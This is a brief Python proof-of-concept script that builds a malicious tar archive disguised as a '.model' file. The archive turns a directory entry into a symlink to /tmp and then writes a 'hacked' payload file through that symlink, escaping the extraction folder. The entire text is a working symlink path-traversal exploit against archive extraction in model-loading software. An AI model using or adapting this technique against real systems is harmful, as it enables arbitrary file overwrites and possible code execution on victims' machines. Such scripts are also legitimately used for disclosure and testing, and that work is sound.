import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
    member.type, member.linkname = tarfile.SYMTYPE, TARGET
    return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
    tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
    tf.add(PAYLOAD)                      # rides the symlink